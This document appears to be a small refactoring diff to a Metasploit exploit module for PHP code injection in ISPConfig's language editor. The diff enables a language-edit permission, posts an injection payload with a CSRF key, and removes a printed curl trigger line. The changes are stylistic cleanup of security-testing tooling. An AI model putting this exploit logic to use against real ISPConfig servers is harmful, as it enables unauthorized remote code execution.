Refactors code

Author: msutovsky-r7

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

@@ -194,7 +194,7 @@ def enable_langedit_permission
       'keep_cookies' => true
     })
 
-    if res && res.code == 200
+    if res&.code == 200
       print_good('Successfully enabled admin_allow_langedit')
       return true
     else
@@ -237,16 +237,12 @@ def inject_payload
       '_csrf_key' => csrf_key,
       'records[\]' => injection
     }
-    res = send_request_cgi({
+    send_request_cgi({
       'method' => 'POST',
       'uri' => edit_url,
       'vars_post' => injection_data,
       'keep_cookies' => true
     })
-    fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
-    payload_url = normalize_uri(target_uri.path, 'admin', @payload_file)
-    print_good("Payload successfully injected: #{@payload_file}")
-    return payload_url
   end
 
   def exploit
@@ -269,10 +265,6 @@ def exploit
       end
     end
 
-    payload_url = inject_payload
-    print_status('Starting payload handler...')
-    print_status('Manual trigger information:')
-    print_line("URL: #{full_uri}#{payload_url}")
-    print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
+    inject_payload
   end
 end